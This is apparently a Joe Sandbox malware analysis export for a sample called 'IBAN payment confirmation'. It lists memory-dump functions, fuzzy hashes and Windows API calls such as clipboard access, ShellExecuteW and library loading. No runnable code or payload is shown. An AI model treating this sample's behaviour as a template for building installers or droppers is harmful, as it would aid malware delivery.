Opcode ID: d26aa00291f998b54f4709938eb8ec83f7fc1424f56f30ad7a4ca0005cfa6e30
Instruction ID: 67509e1dd1dadb073c9805fd3710f260700a0f21a011a96728f3e31f8654b764
Opcode Fuzzy Hash: d26aa00291f998b54f4709938eb8ec83f7fc1424f56f30ad7a4ca0005cfa6e30
Instruction Fuzzy Hash: 25C1BF74E01218CFEB14DFA5C991B9DBBB2BF89300F6081A9D409AB355DB349E85CF50

Function 39C93140 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8173db00629b95e60dab2d592e0132282fd143982dc0005ebf5b9ea06867d8d
Instruction ID: 393cf0622168aac93c891c7dad40bcd3787bb8c91b7c70a3e2cb18e7ef183f84
Opcode Fuzzy Hash: d8173db00629b95e60dab2d592e0132282fd143982dc0005ebf5b9ea06867d8d
Instruction Fuzzy Hash: 14C1B074E01218CFEB14DFA5C894B9DBBB2BF89300F5081A9D809AB355DB359E85CF50

Function 39C908F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 754528358536806f29bb26e176b599ccf299b1727f30dec4d5331f73e3649dda
Instruction ID: 34a4f106bf6c7e9731bd0c02e930d3f8a6be0547b54ab82a446d088d302a650c
Opcode Fuzzy Hash: 754528358536806f29bb26e176b599ccf299b1727f30dec4d5331f73e3649dda
Instruction Fuzzy Hash: CBC1B174E01218CFEB54DFA9C990B9DBBB2BF89300F6081A9D409AB355DB349E85DF50

Function 39C92890 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c40183f5d65b4554691fdc515da543fdd19114692e4394c291734181fd62be0
Instruction ID: c9d9db05a3317849fbce967254d2fa79185f3d415078e1e68150186996ff4cae
Opcode Fuzzy Hash: 6c40183f5d65b4554691fdc515da543fdd19114692e4394c291734181fd62be0
Instruction Fuzzy Hash: ABC1AF74E01218CFEB54DFA5C990B9DBBB2BF89300F6081A9D409AB355DB349E85DF50

Function 39C90040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593f74c06007fa62934b567c0ebc0201a0d17ffef4e49848808d4385481e91ac
Instruction ID: 817be8b7f624ae30a6507cbd9c5fcf8f32e13f23de16cebacc1d0af9f85cb347
Opcode Fuzzy Hash: 593f74c06007fa62934b567c0ebc0201a0d17ffef4e49848808d4385481e91ac
Instruction Fuzzy Hash: EEC1BF74E01218CFEB54DFA5C990B9DBBB2BF89300F6081A9D409AB355DB359E85CF50

Function 39C94B50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a4aa8ce797a8ea8a05c2e22030ac8b93c16f8a5b79de21a09680e84ed5a8f7
Instruction ID: a87ba44048e892f634a00811eb443d6a16ae26de21645f3e6381bd514a6c7da9
Opcode Fuzzy Hash: 32a4aa8ce797a8ea8a05c2e22030ac8b93c16f8a5b79de21a09680e84ed5a8f7
Instruction Fuzzy Hash: 34C1AE74E01218CFEB14DFA9C994BDDBBB2BF89300F6080A9D409AB355DB359A85CF50

Function 39C92300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a166555012100ca1777fe82369df06613ca9e1ee02ee79e926e276de4ec2bdaf
Instruction ID: 940e6e662b27e32864623f50c7443245b5b0dfe91ada8ccacb917caf93022044
Opcode Fuzzy Hash: a166555012100ca1777fe82369df06613ca9e1ee02ee79e926e276de4ec2bdaf
Instruction Fuzzy Hash: 17C1C174E01218CFEB54DFA5C994B9DBBB2BF88300F5081A9D409AB355DB349E85DF50

Function 39C942A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81231e508aa1b90469536f76466206cbb0994f0c4468c04f8548df69068596d6
Instruction ID: 6c99f2e56ce091a15c1f2746ef0b834adcc8b8ea58b9971d6d835a70b9524283
Opcode Fuzzy Hash: 81231e508aa1b90469536f76466206cbb0994f0c4468c04f8548df69068596d6
Instruction Fuzzy Hash: F7C1AE74E01218CFEB14DFA5C994BDDBBB2BF89300F6081A9D409AB355DB359A85CF50

Function 39C91A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 635c0badbc5c6315cd8e879c550a45fcf4b99529dc7c5c4e06968e99475cb318
Instruction ID: 6e939899370f261cbe4df241561d3e36d6220269bdf10240b62eeb826885924a
Opcode Fuzzy Hash: 635c0badbc5c6315cd8e879c550a45fcf4b99529dc7c5c4e06968e99475cb318
Instruction Fuzzy Hash: 3EC1CF74E01218CFEB14DFA9C895B9DBBB2BF89300F6080A9D409AB355DB359E85CF50

Function 39C915F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5b843d6fe1bcdcb289ac04ad727928b44378767d233dac6ae5b771f4103656
Instruction ID: 8be8dc00bfdc81b1a5468a051237774361c1c392753bfc5db3fea46a20632277
Opcode Fuzzy Hash: 0b5b843d6fe1bcdcb289ac04ad727928b44378767d233dac6ae5b771f4103656
Instruction Fuzzy Hash: C0C1BE74E01218CFEB14DFA9C891B9DBBB2BF89300F6081A9D409AB355DB349E85CF50

Function 39C93598 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46450a1970c1df5e6e5d1730a30df1dc5a764d0fee54befb49cc1e2f0b05f016
Instruction ID: ebcafc684365d0956659903405d011a57887c8f245b016f8e4b01f2d539f8d8f
Opcode Fuzzy Hash: 46450a1970c1df5e6e5d1730a30df1dc5a764d0fee54befb49cc1e2f0b05f016
Instruction Fuzzy Hash: 4DC1AF74E01218CFEB14DFA9C994B9DBBB2BF89300F6081A9D409AB355DB359E85CF50

Function 39C90D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e94c7a8a675082c969bf97f02638152cd875cbb8ac896bedacb7b270a7aab12
Instruction ID: 51174a6da4cfbf7943a6bdf3136b2e23bfe5e33e6c6e5863fd324a351ba7ac2d
Opcode Fuzzy Hash: 6e94c7a8a675082c969bf97f02638152cd875cbb8ac896bedacb7b270a7aab12
Instruction Fuzzy Hash: 13C1AE74E01218CFEB14DFA9C891B9DBBB2BF89300F6081A9D409AB355DB349E85CF50

Function 39C92CE8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4668813e2e4287321e129c732d89d3666f13c355feff77746b28955f71afe92
Instruction ID: 6103a37d9afc38c16a567e82d520a86bfae0af2fc2bfb09a45d08bcfc4e5dd0e
Opcode Fuzzy Hash: d4668813e2e4287321e129c732d89d3666f13c355feff77746b28955f71afe92
Instruction Fuzzy Hash: 62C1BF74E01218CFEB54DFA5C980B9DBBB2BF89300F6080A9D409AB355DB359E85CF50

Function 39C90498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6c3a522b367f96fc1a856590ceb56dbbf9e66b2aa5e99b2f8b355e4e3c4f6f
Instruction ID: bbf87547542c6489d376d53967c64f97da2bba917c851119bea8a9a7b788a988
Opcode Fuzzy Hash: 8a6c3a522b367f96fc1a856590ceb56dbbf9e66b2aa5e99b2f8b355e4e3c4f6f
Instruction Fuzzy Hash: 19C1BF74E01218CFEB14DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 39C94FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479174e590095abc3de1497381c6f42008a51c2212f2ade5ed08f68d3ebd23da
Instruction ID: b35f1da1db32b212660106513cb861fde87162ceaf91083716b325957ce42ad2
Opcode Fuzzy Hash: 479174e590095abc3de1497381c6f42008a51c2212f2ade5ed08f68d3ebd23da
Instruction Fuzzy Hash: F7C1AF74E01218CFEB14DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF50

Function 39C946F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d3cf41cb8d8e810cfa8a439a9ef40d327fa2d0cdd90b93abec91a0a1dbaa0e
Instruction ID: fd7406cc8e2d1ec31a6846117c68b23c7e2b48bc972c354ad19628168f60f1b9
Opcode Fuzzy Hash: 60d3cf41cb8d8e810cfa8a439a9ef40d327fa2d0cdd90b93abec91a0a1dbaa0e
Instruction Fuzzy Hash: 89C1AD74E01218CFEB14DFA9C990BDDBBB2BF89300F6081A9D409AB355DB349A85CF50

Function 39C91EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad2bd847ee79e15302303b688886fe87c1584fe0ea1c04b8761fba64fee8c97
Instruction ID: 7bc2f6bc343abcdaba73db6e5db63f2286767d27fb8be2fcabd1ade03fe9fe8a
Opcode Fuzzy Hash: 8ad2bd847ee79e15302303b688886fe87c1584fe0ea1c04b8761fba64fee8c97
Instruction Fuzzy Hash: E2C1BE74E01218CFEB54DFA5C980B9DBBB2BF89300F6080A9D409AB355DB349E85DF50

Function 39C93E48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ab8be6e97ca6ebade40df30238859645a65772f57d08bbc4956d166f676d909
Instruction ID: a5f8d237cc66b63b95d90ae71a3da70fae74d99170dc00690c955a2cb5df5aee
Opcode Fuzzy Hash: 7ab8be6e97ca6ebade40df30238859645a65772f57d08bbc4956d166f676d909
Instruction Fuzzy Hash: 66C1AE74E01218CFEB14DFA9C994B9DBBB2BF89300F6081A9D409AB355DB359A85CF50

Function 3A20F520 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2531235973.000000003A200000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3a200000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e01823f72dcf82a17b4122537cea703856412fc5d7c79d9dd48b9362bb5ab354
Instruction ID: 323a0d3d01f9b15b496f74c99dd52e92a91b6529569b150a25d2b2bbda725630
Opcode Fuzzy Hash: e01823f72dcf82a17b4122537cea703856412fc5d7c79d9dd48b9362bb5ab354
Instruction Fuzzy Hash: F4D05E34D0021C9BCB20DF98E8403ECF770EB99311F0060A6C05CB7200CB7059958F55

Function 39C9A6C7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73edaa03625c7c3cedc4a5b4b2f20b122f389176170e2149db9e714276159680
Instruction ID: bcb38fde1dab9215909b4e93be6c7a221439eda5c4b086c90065499ebd45f7b0
Opcode Fuzzy Hash: 73edaa03625c7c3cedc4a5b4b2f20b122f389176170e2149db9e714276159680
Instruction Fuzzy Hash: A3D09E75D5421CDBDB21DF94D8503ECF770FF99300F1064A5D48CA7210DB705E958A55

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
EnableWindow.USER32(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 004038B4 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,771B3420,00000000,00434000), ref: 00403935
lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

_Nb, xrefs: 00403A38, 00403AA0
RichEdit20W, xrefs: 00403B00, 00403B06
.exe, xrefs: 004039C2
.DEFAULT\Control Panel\International, xrefs: 00403920
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEd32, xrefs: 00403AF3
RichEd20, xrefs: 00403AE8
RichEdit, xrefs: 00403B0F

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1115850852
Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 004042CC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

open, xrefs: 004044DB
CB@, xrefs: 004044D8
N, xrefs: 00404468

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$N$open
API String ID: 3615053054-4029390422
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
